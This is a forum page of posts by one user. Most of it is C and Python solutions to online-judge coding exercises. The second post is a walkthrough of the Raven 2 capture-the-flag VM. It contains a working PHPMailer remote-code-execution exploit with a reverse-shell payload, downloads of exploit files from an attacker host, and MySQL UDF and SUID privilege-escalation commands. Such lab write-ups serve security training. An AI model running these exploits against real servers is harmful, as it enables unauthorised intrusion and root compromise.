跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 前言 题目 先附上两位朋友的冒泡解析: By:Settingsun 最简单的排序——冒泡排序 2年前118711 By:灰太狼 浅谈冒泡排序的小优化 2年前134616 118普通答案+解析 有什么不懂可以问我 #include <stdio.h> void insert(int a[],int n,int num) { int t; //定义一个中间变换值用来达到a[j]和a[j}+1的顺序替换 a[n] =num; n=n+1; //插入一个数,需给他加一 for(int i=0;i<n;i++) //这里不是n-1 因为这里不是数组是循环几次 { for(int j=0;j<n-1;j++) //n-1 因为数组是从0开始 { if(a[j]>a[j+1]) //下面就是简单的替换顺序 { t=a[j]; a[j]=a[j+1]; a[j+1]=t; } } } } void printarr(int a[],int n) { for(int h=0;h<n+1;h++) { printf("%d",a[h]); if(h<n) { printf(" "); //这里是输入空格 如果直接输出空格的话,第一个数会有空格 } } } int main() { int n; scanf("%d",&n); int a[n]; for(int h=0;h<n;h++) { scanf("%d",&a[h]); } int num; scanf("%d",&num); insert(a,n,num); //调用函数 printarr(a,n); //这里也是调用 return 0; } 118优化答案加解析 这里的优化目的是增加运行速度 #include <stdio.h> void insert(int a[],int n,int num) { int t; //定义一个中间变换值用来达到a[j]和a[j}+1的顺序替换 a[n] =num; n=n+1; //插入一个数,需给他加一 for(int i=0;i<n;i++) //这里不是n-1 因为这里不是数组是循环几次 { int flag=1;//定义一个标识符 for(int j=0;j<n-1;j++) //n-1 因为数组是从0开始 { if(a[j]>a[j+1]) //下面就是简单的替换顺序 { flag=0;//改变标识符 t=a[j]; a[j]=a[j+1]; a[j+1]=t; } } if(flag==1){ //如果标识符等于1那就不用进行循环了 break;} } } void printarr(int a[],int n) { for(int h=0;h<n+1;h++) { printf("%d",a[h]); if(h<n) { printf(" "); //这里是输入空格 如果直接输出空格的话,第一个数会有空格 } } } int main() { int n; scanf("%d",&n); int a[n]; for(int h=0;h<n;h++) { scanf("%d",&a[h]); } int num; scanf("%d",&num); insert(a,n,num); //调用函数 printarr(a,n); //这里也是调用 return 0; }
  2. 0x00 前言 Raven 2是一个中等难度的boot2root 虚拟靶机。有四个flag需要找出。在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。 靶机下载地址:https://download.vulnhub.com/raven/Raven2.ova 0x01 存活主机 1.在windows上的scan ports工具对目标整个网段(192.168.1.0/24)进行扫描发现192.168.1.12就是目标靶机,并开放了80,22,111端口。 2.在linux下可通过arp-scan和netdiscover命令进行主机存活探测,发现192.168.1.101是目标靶机. root@backlion#arp-scan -l or root@backlion#netdiscover -r192.168.1.0/24 0x02 端口探测 1.通过namp对目标主机进行端口扫描 nmap -A192.168.1.12 2.发现22,80和111端口是开放的,其中80端口运行了一个web应用,可以通过入侵web进入系统,爆破22端口由于目标靶机设置的系统口令太强,这里不建议爆破。 0x02 目录猜解 1.在linux中可以使用dirb进行目录扫描 2.同时也可以在windows上通过dirbuster进行目录扫描,更直观地看出目录结构。 3.扫到几个一级目录,一个个查看下文件的内容,在/vendor/目录下发现了两个有趣的东西:http://192.168.1.32/vendor/PATH,可以看到flag1和绝对路径 4.访问http://192.168.1.12/vendor/VERSION,发现某个软件的版本号,但不知道具体是那个软件。 同时目录下还存在一个PHPMailerAutoload.php的文件,配合起来看应该是使用了5.2.16版本的PHPMailer。 0x03 反弹SHELL 1.在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp root@kali2018:~# searchsploit phpmailer ------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- PHPMailer 1.7 - 'Data()' Remote Denial of Service | exploits/php/dos/25752.txt PHPMailer < 5.2.18 - Remote Code Execution (Bash) | exploits/php/webapps/40968.php PHPMailer < 5.2.18 - Remote Code Execution (PHP) | exploits/php/webapps/40970.php PHPMailer < 5.2.18 - Remote Code Execution (Python) | exploits/php/webapps/40974.py PHPMailer < 5.2.19 - Sendmail Argument Injection (Metasploit) | exploits/multiple/webapps/41688.rb PHPMailer < 5.2.20 - Remote Code Execution | exploits/php/webapps/40969.pl PHPMailer < 5.2.20 / SwiftMailer < 5.4.5-DEV / Zend Framework / zend-mail < 2.4.11 - 'AIO' 'PwnScriptum' Remote Code Exe | exploits/php/webapps/40986.py PHPMailer < 5.2.20 with Exim MTA - Remote Code Execution | exploits/php/webapps/42221.py PHPMailer < 5.2.21 - Local File Disclosure | exploits/php/webapps/43056.py WordPress PHPMailer 4.6 - Host Header Command Injection (Metasploit) | exploits/php/remote/42024.rb ------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result cp /usr/share/exploitdb/exploits/php/webapps/40974.py /opt cd /opt 2、也可以到exploit-db.com搜索,并发现利用exp地址: https://www.exploit-db.com/exploits/40974 简单修改一下exp: a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。 b.修改target为靶机IP地址,利用文件为contact.php。 c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。 d. 修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。 e.运行该python脚本需要安装对应的包(pip install requests-toolbelt),如下地址下载并手动安装 https://files.pythonhosted.org/packages/86/f9/e80fa23edca6c554f1994040064760c12b51daff54b55f9e379e899cd3d4/requests-toolbelt-0.8.0.tar.gz 3.最终修改成的POC: # -*- coding: utf-8 -*- from requests_toolbelt import MultipartEncoder import requests import os import base64 from lxml import html as lh os.system('clear') print("\n") print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ") print("██╔══██╗████╗██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗") print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝") print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗") print("██║██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║") print("╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚═╝") print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com") print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n") target = 'http://192.168.1.12/contact.php' backdoor = '/backlion.php' payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.11\\\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>' fields={'action': 'submit', 'name': payload, 'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/backlion.php server\" @protonmail.com', 'message': 'Pwned'} m = MultipartEncoder(fields=fields, boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe') headers={'User-Agent': 'curl/7.47.0', 'Content-Type': m.content_type} proxies = {'http': 'localhost:8081', 'https':'localhost:8081'} print('[+] SeNdiNG eVIl SHeLL To TaRGeT....') r = requests.post(target, data=m.to_string(), headers=headers) print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D') r = requests.get(target+backdoor, headers=headers) if r.status_code == 200: print('[+]ExPLoITeD ' + target) 然后执行exp,可以看到生成了一个利用用文件contact.php 6.访问contact.php(http://192.168.1.12/contact.php),此时就会生成后门文件shell.php 7.接着访问后门文件:http://192.168.1.12/shell.php 8.开启nc服务器监听,在服务器上得到反弹shell 9.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息 cd /var/www/html/wordpress cat wp-config.php 10.查看一下mysql的运行权限(可以看到mysql是以root运行,并且也显示了mysql的plugin目录) ps -ef|grep mysql 11.进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录 www-data@Raven:/var/www/html/wordpress$ mysql -u root -pR@v3nSecurity 12. nc模式下的shell不支持su交互,先利用python提升到伪终端 python -c "import pty;pty.spawn('/bin/bash')" 进入到网站目录页面发现存在flag2.txt cd /var/www cat flag2.txt 13.接下来直接先全局搜flag: www-data@Raven:/var/www/html$ find / -name "flag*" 找到flag3,是图片,直接访问 http://192.168.1.13/wordpress/wp-content/uploads/2018/11/flag3.png 14.然后切换到/tmp目录,下载LinEnum.sh脚本,该脚本是一个用于枚举许多基本和高级linux详细信息的脚本。 cd /tmp wget http://192.168.1.109/LinEnum.sh chmod 777 LinEnum.sh ./LinEnum.sh 我们发现了MySQL-Exploit-Remote-Root-Code-Execution-Privesc漏洞!(更多信息:https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html) 15.接着就是利用提权exp的利用了https://www.exploit-db.com/exploits/1518在攻击机KALI主机上进行编译生成so文件: root@kali2018:~# wget http://192.168.1.5/raptor_udf.c #kali系统必须是64位系统,不然会报错 root@kali2018:~# gcc -g -c raptor_udf.c root@kali2018:~# gcc -g -shared -o raptor_udf.so raptor_udf.o -lc 16.从攻击机上下载提权利用exp文件: raptor_udf2.so www-data@Raven:/var/www/html/wordpress$ cd /tmp www-data@Raven:/tmp$ wget http://192.168.1.11:8080/raptor_udf2.so 然后通过mysql进行UDF提权(执行sql语句,其中dumpfile的路径要根据前面进程列出来的plugin目录(plugin-dir=/usr/lib/mysql/plugin)改动一下): mysql> use mysql; use mysql; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create table foo(line blob); create table foo(line blob); Query OK, 0 rows affected (0.08 sec) mysql> insert into foo values(load_file('/tmp/raptor_udf.so')); insert into foo values(load_file('/tmp/raptor_udf.so')); Query OK, 1 row affected (0.01 sec) mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so'; select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf.so'; Query OK, 1 row affected (0.11 sec) mysql> create function do_system returns integer soname 'raptor_udf.so'; create function do_system returns integer soname 'raptor_udf.so'; Query OK, 0 rows affected (0.00 sec) mysql> select * from mysql.func; select * from mysql.func; +-----------+-----+---------------+----------+ | name | ret | dl | type | +-----------+-----+---------------+----------+ | do_system | 2 | raptor_udf.so | function | +-----------+-----+---------------+----------+ 1 row in set (0.00 sec) mysql> select do_system('chmod u+s /usr/bin/find'); select do_system('chmod u+s /usr/bin/find'); +--------------------------------------+ | do_system('chmod u+s /usr/bin/find') | +--------------------------------------+ | 0 | +--------------------------------------+ 1 row in set (0.01 sec) mysql> exit exit Bye www-data@Raven:/tmp$ touch finn touch finn www-data@Raven:/tmp$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@Raven:/tmp$ find finn -exec "/bin/sh" \; find finn -exec "/bin/sh" \; # whoami whoami root # 17.最后进入到root目录,可以查看到falg4.txt # cd /root cd /root # ls # cat flag4.txt cat flag4.txt ___ ___ ___ | _ \__ ___ _____ _ _ |_ _|_ _| | / _` \ V / -_) ' \ | | | | |_|_\__,_|\_/\___|_||_|___|___| flag4{df2bc5e951d91581467bb9a2a8ff4425}
  3. 前言 本部分由Frex和Godyu辅助分享答案,部分题解用python较为简单也附上了python答案. 有什么不懂的问题联系FrexQQ2821154546或Godyu QQ1641281102 1151:大整数加法 python n=int(input()) for i in range(0,n): a=input() n,m=a.split() print(int(n)+int(m)) C语言 #include <stdio.h> #include <string.h> int main() { char arr1[1000],arr2[1000]; int a1[1000],a2[1000]; int str[1000]; int len1,len2; int t,flag=0,n; scanf("%d",&t); while(t--) { flag=0; memset(a1,0,sizeof(a1)); memset(a2,0,sizeof(a2)); memset(str,0,sizeof(str)); scanf("%s%s",arr1,arr2); len1=strlen(arr1); len2=strlen(arr2); if(len1>len2) { n=len1-len2; for(int i=0;i<len1;i++) { a1[i]=arr1[i]-'0'; if(i<len2) { a2[i+n]=arr2[i]-'0'; } } } else { n=len2-len1; for(int i=0;i<len2;i++) { a2[i]=arr2[i]-'0'; if(i<len1) { a1[i+n]=arr1[i]-'0'; } } }if(len2>len1) { n=len1; len1=len2; len2=n; } for(int i=len1-1;i>=0;i--) { str[i]=a1[i]+a2[i]+flag; flag=0; if(i>0) { if(str[i]>=10) { str[i]=str[i]%10; flag=1; } } } for(int i=0;i<len1;i++) { printf("%d",str[i]); } printf("\n"); } return 0; } 1152:二分搜索 #include <stdio.h> int serch(int num[],int serchnum,int len) { int ret=-1; int left=0,right=len-1; int mid; while(left<=right) { mid=(left+right)/2; if(num[mid]==serchnum) { ret=mid; break; } else if(serchnum>num[mid]) { left=mid+1; }else { right=mid-1; } } return ret; } int main() { int ret; int num[100000]; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%d",&num[i]); } int m; scanf("%d",&m); int serchnum; for(int k=0;k<m;k++) { scanf("%d",&serchnum); ret=serch(num,serchnum,n); if(ret==-1) { printf("Not found!\n"); }else { printf("%d\n",ret); } } return 0; } 1153:简易版最长序列 python: # 方法一:用字典 t = int(input()) # 读取t的值 for _ in range(t): # 循环t次 n = int(input()) # 读取n的值 g = list(map(int, input().split())) # 读取n个整数,并转换为列表 count = {} # 创建一个空字典 for x in g: # 遍历列表中的每个元素 count[x] = count.get(x, 0) + 1 # 如果元素在字典中,就加一,否则就设为一 max_count = max(count.values()) # 找出字典中最大的值 print(max_count) # 输出最大的值 C语言 #include <stdio.h> int main() { int t,n; scanf("%d",&t); int a[10000]; int ts; while(t--) { int len=1,maxlen=1; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%d",&a[i]); } for(int i=0;i<n;i++) { for(int j=i+1;j<n;j++) { if(a[i]>a[j]) { ts=a[i]; a[i]=a[j]; a[j]=ts; } } } for(int i=0;i<n;i++) { if(a[i-1]==a[i]) { len++; } else { len=1; } if(len>maxlen) { maxlen=len; } } printf("%d\n",maxlen); } return 0; } 1154:校门外的树 #include<stdio.h> #include<string.h> int main() { int n, m, l, a, b, i, sum; scanf("%d", &n); while(n--) { int c[10000]={0}; sum=0; scanf("%d%d", &l, &m); while(m--) { scanf("%d%d", &a, &b); for(i=a;i<=b;i++) { c[i]++; } } for(i=0;i<=l;i++) { if(c[i]!=0) sum++; } printf("%d\n", l+1-sum); } return 0; } 1155:字符串比较 多实例 #include <stdio.h> #include <string.h> int main() { char a[10005],b[10005]; while(scanf("%s %s",a,b)!=EOF) { for(int i=0;a[i]!='\0';i++) { if(a[i]>='a') { a[i]=(a[i]-96)*2+1; } else { a[i]=(a[i]-64)*2; } } for(int i=0;b[i]!='\0';i++) { if(b[i]>='a') { b[i]=(b[i]-96)*2+1; } else { b[i]=(b[i]-64)*2; } }if(strcmp(a,b)<0) printf("YES\n"); else printf("NO\n"); } return 0; } 1156:单数变复数 #include<stdio.h> #include<string.h> int main() { char a[25]; int l; gets(a); l=strlen(a); if(a[l-1]=='s' || a[l-1]=='x' || a[l-1]=='o' || (a[l-2]=='s'&&a[l-1]=='h') || (a[l-2]=='c'&&a[l-1]=='h')){ a[l]='e'; a[l+1]='s'; a[l+2]='\0'; } else if(a[l-1]=='y'){ a[l-1]='i'; a[l]='e'; a[l+1]='s'; a[l+2]='\0'; } else{ a[l]='s'; a[l+1]='\0'; } puts(a); return 0; } 1157:连续的n个1 python: n = input() n = list(map(int, n)) c = int(input()) sum=0 h=0 for x in range(len(n)): if n[x]==1: count=1 for y in range(x+1,len(n)): if n[y]==1: count=count+1 else: break if count>=c: h=h+1 print(h) C语言: #include <stdio.h> int main() { char str[1000]; gets(str); int num; scanf("%d",&num); int cnt,count=0; for(int i=0;str[i]!='\0';i++) { cnt=0; for(int k=i;k<i+num;k++) { if(str[k]=='1') { cnt++; } } if(cnt==num) { count++; } } printf("%d\n",count); return 0; } 1158:又是排序(指针专题) #include <stdio.h> void psort(int *pa,int *pb,int *pc,int *pd); int main() { int a,b,c,d; scanf("%d %d %d %d",&a,&b,&c,&d); psort(&a,&b,&c,&d); return 0; } void psort(int *pa,int *pb,int *pc,int *pd) { int h=0; int i=0; int g=0; int t=0; int arr[4]={*pa,*pb,*pc,*pd}; for(i=0;i<4;i++) { for(g=i+1;g<4;g++){ if(arr[i]<arr[g]){ t=arr[i]; arr[i]=arr[g]; arr[g]=t; } } } for(i=0;i<4;i++) { printf("%d",arr[i]); if(i<4) { printf(" "); } } } 1159:最大的两个数(指针专题) #include <stdio.h> void LargestTwo(int a[],int n,int *pfirst,int *psecond); int main() { int a[100001]; int n; int c,d; LargestTwo(a,n,&c,&d); printf("%d %d",c,d); return 0; } void LargestTwo(int a[],int n,int *pfirst,int *psecond) { int i; int t; int g; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%d",&a[i]); } for(i=0;i<n;i++) { for(g=i+1;g<n;g++){ if(a[i]<a[g]){ t=a[i]; a[i]=a[g]; a[g]=t; } } } *pfirst=a[0]; *psecond=a[1]; } 1160:矩阵的最大值(指针专题) python: def Maritx(matrix): matrix_max= matrix[0][0] matrix_max = 0 max_max=0 max_low=0 for i in range(len(matrix)): for j in range(len(matrix)): if matrix[i][j]>matrix_max: matrix_max=matrix[i][j] max_row=i max_low=j return matrix_max,max_row,max_low matrix = [] for _ in range(2): row=list(map(int,input().split())) matrix.append(row) matrix_max, max_row, max_low = Maritx(matrix) print(matrix_max,max_row,max_low) C语言: #include <stdio.h> void FindMax(int p[][3], int m, int n, int *pRow, int *pCol) { int x=0,y=0; int max=p[0][0]; for(int i=0;i<m;i++) { for(int k=0;k<n;k++) { if(p[i][k]>max) { max=p[i][k]; x=i; y=k; pRow=&x; pCol=&y; } } } printf("%d %d %d",max,*pRow,*pCol); } int main() { int a[2][3]; for(int i=0;i<2;i++) { for(int k=0;k<3;k++) { scanf("%d",&a[i][k]); } } int *pRow=NULL,*pCol=NULL; FindMax(a,2,3,pRow,pCol); return 0; } 1161:字符串长度(指针专题) #include <stdio.h> #include <string.h> #include <stdlib.h> int len(char *sp); int main() { char arr[101]; gets(arr); len(arr); return 0; } int len(char *sp){ int x=strlen(sp); int i=0; int num=0; for(i=0;i<x;i++) { if(sp[i]!=' ') { num++; } } printf("%d",num); } 1162:循环移动(指针专题) 此题python切片较为简单,具体看我文章 Python中切片的用法 2年前164313 def f(a,n,k): a=a[-k:]+a[:-k] return a n=int(input()) a=list(map(str,input().split())) k=int(input()) a=f(a,n,k) # 用enumerate函数遍历列表a,同时得到索引和元素 for x, val in enumerate(a): # 只打印元素,不打印索引 print(val,end=' ') python第二种方法: def f(a,n,k): a=a[-k:]+a[:-k] return a n=int(input()) a=list(map(str,input().split())) k=int(input()) a=f(a,n,k) print(*a) C语言: #include <stdio.h> #include <malloc.h> void ringShift(int *a, int n, int k) { int *b=malloc(n*sizeof(int)); for(int i=0;i<n;i++) { if(i+k<n) { b[i+k]=a[i]; } else b[i+k-n]=a[i]; } for(int i=0;i<n-1;i++) { printf("%d ",b[i]); } printf("%d",b[n-1]); } int main() { int n; scanf("%d",&n); int *a=malloc(n*sizeof(int)); for(int i=0;i<n;i++) { scanf("%d",&a[i]); } int k; scanf("%d",&k); ringShift(a,n,k); return 0; } 1163:亲和串(字符串) python: def main(): while 1: try: str1=input() str2=input() except EOFError: break if len(str1)<len(str2): print("no") else: str3=str1+str1 if str2 in str3: print("yes") else: print("no") if __name__ =="__main__": main() C语言: #include <stdio.h> #include <string.h> char s1[1000001],s2[1000000],s3[2000000]; int main() { int len1,len2; while(scanf("%s\n%s",s1,s2)!=EOF) { len1=strlen(s1); len2=strlen(s2); if(len1<len2) { printf("no\n"); } else { strcpy(s3,s1); strcat(s1,s3); if(strstr(s1,s2)!=NULL) { printf("yes\n"); } else printf("no\n"); } } return 0; } 1164:字符串加密 #include<stdio.h> #include<string.h> /* 字符串加密(循环) 共有26字母,+k后对26求余 */ int main(){ char str[10001]; int k,a=0; gets(str); scanf("%d",&k); for(int i=0;str[i]!='\0';i++){ if(str[i]>='a'&&str[i]<='z'){ str[i]=(str[i]-'a'+k)%26+'a'; a=1; } if(str[i]>='A'&&str[i]<='Z'){ str[i]=(str[i]-'A'+k)%26+'A'; a=1; } } if(a==1) puts(str); return 0; } 1165:实数的小数部分(指针专题) #include <stdio.h> #include <stdlib.h> #include <string.h> char *decimal(char *p); int main() { char str[10001]; char *p; p=decimal(str); int h=0; if(p!= NULL) printf("0%s", p); else printf("No decimal part"); return 0; } char *decimal(char *p) { int flag=0; int i=0; char *star; int j=0; star = (char*)malloc(100*sizeof(char)); scanf("%s",p); int x = strlen(p); for (i=0;i<x;i++){ if(p[i]=='.'){ flag=1; } if(flag==1){ star[j++]=p[i]; } } star[j]='\0'; while(j--){ if(star[j]=='0'){ star[j]='\0'; } else{ break; } } if(star[j]=='.') return NULL; return star; } 1166:实数取整(指针专题) #include <stdio.h> #include <stdlib.h> #include<string.h> char *rounding(char *p); int main(){ char *p; p=(char*)malloc(sizeof(char)*100); gets(p); printf("%s\n",rounding(p)); return 0; } char *rounding(char *p){ char *q; while(*p=='0'){ p++; } while(*p=='\0'||*p=='.'){ p--; } q=strchr(p,'.'); if(q!=NULL){ *q='\0'; } // printf("%s",p); return p; } 1167:逆转数(指针专题) #include <stdio.h> #include <string.h> void reverse(char *str) { int len=strlen(str); int idex; for(int i=len-1;i>0;i--) { if(str[i]!='0') { idex=i; break; } } if(str[0]!='-') { for(int i=idex;i>=0;i--) { printf("%c",str[i]); } } if(str[0]=='-') { printf("-"); for(int i=idex;i>0;i--) { printf("%c",str[i]); } } for(int i=idex+1;i<len;i++) { printf("%c",str[i]); } } int main() { char a[101]; scanf("%s",a); reverse(a); return 0; } 1168:账单(指针专题) #include <string.h> #include <stdio.h> #include <math.h> #define N 100 int main() { int ncase,n; char *p,*q; p = (char *)malloc(sizeof(char) * N); scanf("%d",&ncase); double money; double sum; while(ncase--){ sum=0; scanf("%d ",&n); while(n--){ gets(p); q=strrchr(p,' '); sscanf(q,"%lf",&money); sum=sum+money; } printf("%.1lf\n",sum); } return 0; } 1169:大整数(指针专题) #include <stdio.h> #include <string.h> #include <malloc.h> int cmp(char *a,char *b) { int ret; int len1=strlen(a); int len2=strlen(b); if(len1>len2) ret=1; else if(len1<len2) ret=-1; else { if(strcmp(a,b)>0) ret=1; else if(strcmp<0) ret=-1; else ret=0; } return ret; } int main() { char *p[3],temp[101]; for(int i=0;i<3;i++) { p[i]=(char *)malloc(sizeof(char)*101); scanf("%s",p[i]); } for(int i=0;i<3;i++) { for(int j=i+1;j<3;j++) { if(cmp(p[i],p[j])>0) { strcpy(temp,p[i]); strcpy(p[i],p[j]); strcpy(p[j],temp); } } } for(int i=0;i<3;i++) { printf("%s\n",p[i]); } return 0; } 1170:最长字符串(指针专题) #include<stdio.h> #include<string.h> #include<stdlib.h> #define P 90 //从字符串数组str中找出最长的一个字符串,并将其下标存入形参指针max所指内存。 void maxLenStr(char *str[],int n,int *max) { int i,m=0; for(i=0; i<n; i++) { if(strlen(str[m])<strlen(str[i])) { m=i; } } *max=m; } int main() { int i,max; char *str[101],s[90]; for(i=0;; i++) { gets(s); if(strcmp(s,"****")==0) break; else { str[i]=(char*)malloc(sizeof(char)*(strlen(s)+1)); strcpy(str[i],s); } } maxLenStr(str,i,&max); printf("%s\n",str[max]); return 0; } 1171:加密(指针专题) C语言: #include <stdio.h> #include <string.h> int encrypt(char *plain, char *cipher) { int i; for(i=0;plain[i]!='\0';i++) { cipher[i]=plain[i]-24; } cipher[i]='\0'; } int main() { char a[200],b[200]; gets(a); encrypt(a,b); int len=strlen(b); for(int j=len-1;j>=0;j--) { printf("%d%d",b[j]%10,b[j]/10); } return 0; } python: a = list(input()) for x in range(len(a)): a[x] = str(ord(a[x]) - 24) a = ''.join(a) # 将列表转换为字符串 a = a[::-1] # 反转字符串 print(a) 1172:矩阵边界和(指针专题) #include <stdio.h> #include <string.h> #include <stdlib.h> int main() { int m,n; scanf("%d %d",&m,&n); int i=0; int j=0; int *p; int sum=0; p = (int*) malloc(sizeof(int) *(m*n)); for(i=0;i<m;i++){ for(j=0;j<n;j++){ scanf("%d",&p[i*n+j]); } } for(i=0;i<m;i++){ for(j=0;j<n;j++){ if(i==0||j==0||i==m-1||j==n-1){ sum=sum+p[i*n+j]; } } } free(p); printf("%d",sum); return 0; } 1173:密码解密(指针专题) #include <stdio.h> #include <string.h> #include <stdlib.h> #define N 100 void decrypt(char *cipher, char *plain); int main() { char *p; char *q; p=(char *)(malloc(sizeof(char)*200)); q=(char*)(malloc(sizeof(char)*300)); gets(p); decrypt(p,q); puts(q); return 0; } void decrypt(char *cipher, char *plain) { int i=0; int j=0; for(i=0;cipher[i]!='\0';){ plain[j++]=(cipher[i]-'0')*10+(cipher[i+1]-'0')+24; i=i+2; } plain[j]='\0'; } 1174:长整数排序(指针专题) #include <stdio.h> #include <string.h> #include <malloc.h> int greater(char *s1, char *s2) { int ret; int len1=strlen(s1); int len2=strlen(s2); if(len1>len2) ret=1; else if(len1<len2) ret=-1; else if(len1==len2) { if(strcmp(s1,s2)>0) ret=1; if(strcmp(s1,s2)<0) ret=-1; if(strcmp(s1,s2)==0) ret=0; } return ret; } char*del(char*buf) { char *ch; int i; for(i=0;buf[i]!='\0';i++) { if(buf[i+1]=='\0') break; if(buf[i]!='0') break; } ch=&buf[i]; return ch; } int main() { char *a[11],*t,buf[101]; int n; scanf("%d",&n); for(int i=0;i<n;i++) { scanf("%s",buf); t=del(buf); a[i]=(char*)malloc(sizeof(char)*(strlen(t)+1)); strcpy(a[i],t); } for(int i=0;i<n;i++) { for(int j=i+1;j<n;j++) { if(greater(a[i],a[j])==1) { t=a[i]; a[i]=a[j]; a[j]=t; } } } for(int i=0;i<n;i++) { printf("%s\n",a[i]); } return 0; } 1175:矩阵转置(指针专题) #include <stdio.h> #include <malloc.h> int main() { int m,n; scanf("%d %d",&m,&n); int *a; a=(int *)malloc(sizeof(int)*(m*n)); for(int i=0;i<m;i++) { for(int j=0;j<n;j++) { scanf("%d",&a[n*i+j]); } } for(int j=0;j<n;j++) { for(int i=0;i<m;i++) { printf("%d ",a[n*i+j]); } printf("\n"); } return 0; } 1176:查找最大字符串(指针专题) #include <stdio.h> #include <string.h> #include <malloc.h> void find(char *name[], int n, int *p) { int idex=0; char*ch=name[0]; for(int i=1;i<n;i++) { if(strcmp(ch,name[i])<0) { ch=name[i]; idex=i; } } *p=idex; } int main() { char *name[100]; char str[6]; int i=0; for(i=0;;i++) { gets(str); if(strcmp(str,"*****")==0) { break; } else { name[i]=(char*)malloc(sizeof(char)*6); strcpy(name[i],str); } } int flag=0,n=i; find(name,n,&flag); printf("%s",name[flag]); } 1177:按要求排序(指针专题) #include<stdio.h> #include<math.h> #include<stdlib.h> void sort1(int a[], int n, int (*cmp)(int x,int y)); int CmpAsc(int x, int y); /*按升序要求判断两元素是否逆序*/ int CmpDec(int x, int y); /*按降序要求判断两元素是否逆序*/ int CmpAbsAsc(int x, int y); /*按绝对值升序要求判断两元素是否逆序*/ int main() { int a[10],i,n; int slt; /*读入n和n个整数,存入数组a*/ scanf("%d",&n); for(i=0;i<n;i++) scanf("%d",&a[i]); /*读入用户的选择,存入slt; */ scanf("%d",&slt); switch(slt) { case 1: sort1(a, n, CmpAsc); break; case 2: sort1(a, n, CmpDec); break; case 3: sort1(a, n, CmpAbsAsc);break; } /*输出排序后的数组*/ for(i=0;i<n-1;i++) printf("%d ",a[i]); printf("%d\n",a[n-1]); return 0; } void sort1(int a[], int n, int (*cmp)(int x,int y)) { /*对数组a排序,排序原则由cmp指定,若cmp为真,表示两元素逆序*/ int t; for(int i=0;i<n-1;i++) for(int j=i+1;j<n;j++)//冒泡循环 { if(cmp(a[i],a[j])) { t=a[i]; a[i]=a[j]; a[j]=t; } } } int CmpAsc(int x, int y) { //如果x>y返回1,否则返回0; if(x>y) return 1; return 0; } int CmpDec(int x, int y) { //如果x<y返回1,否则返回0; if(x<y) return 1; return 0; } int CmpAbsAsc(int x, int y) { //如果abs(x)>abs(y)返回1,否则返回0 if(abs(x)>abs(y)) return 1; //若绝对值相同,符号不同时,负数在前; if(abs(x)==abs(y)&&x>y)//abs头文件不是math.h而是stdlib.h return 1; return 0; } 1178:单词数 #include <stdio.h> #include<string.h> int main() { char a[30001]={0},b[31]={0},c[1001][31]={0}; int len,i,j=0,o,l,q=0; while(gets(a),strcmp(a,"#")!=0){ l=0; len=strlen(a); for(i=0;i<=len;i++){ if(a[i]!=' '){ b[j]=a[i]; j++;} if((a[i-1]!=' '&&a[i]==' '&&i>0)||(a[i-1]!=' '&&a[i]=='\0'&&i>0)){ for(o=0;o<l;o++) if(strcmp(c[o],b)==0) q=1; if(q==0){ strcpy(c[l],b); l++;} memset(b,'\0',sizeof(b)); j=0,q=0;}} printf("%d\n",l);} return 0; } 1179:带参宏定义(函数专题) #include <stdio.h> #define SWAP(a, b, t) { t=a; a=b; b=t; } int main() { char a,b,c,t; scanf("%c %c %c",&a,&b,&c); if(a<b) { SWAP(a,b,t) } if(a<c) { SWAP(a,c,t); } if(b<c) { SWAP(b,c,t); } printf("%c %c %c\n",a,b,c); return 0; } 答案2: #include<stdio.h> #define SWAP(a,b,t){t=a; a=b; b=t;} int main() { char a,b,c,t; scanf("%c %c %c",&a,&b,&c); if(a<b) SWAP(a,b,t); if(a<c) SWAP(a,c,t); if(b<c) SWAP(b,c,t); printf("%c %c %c\n",a,b,c); return 0; } 1180:成绩统计(结构体专题) #include<stdio.h> struct u{ char ID[20]; char name[30]; int a,b,c; }; int main() { int i,max=0,n,sum[100];//存储每个学生的总成绩 struct u stu[100];//结构体数组 scanf("%d",&n); for(i=0;i<n;i++) { 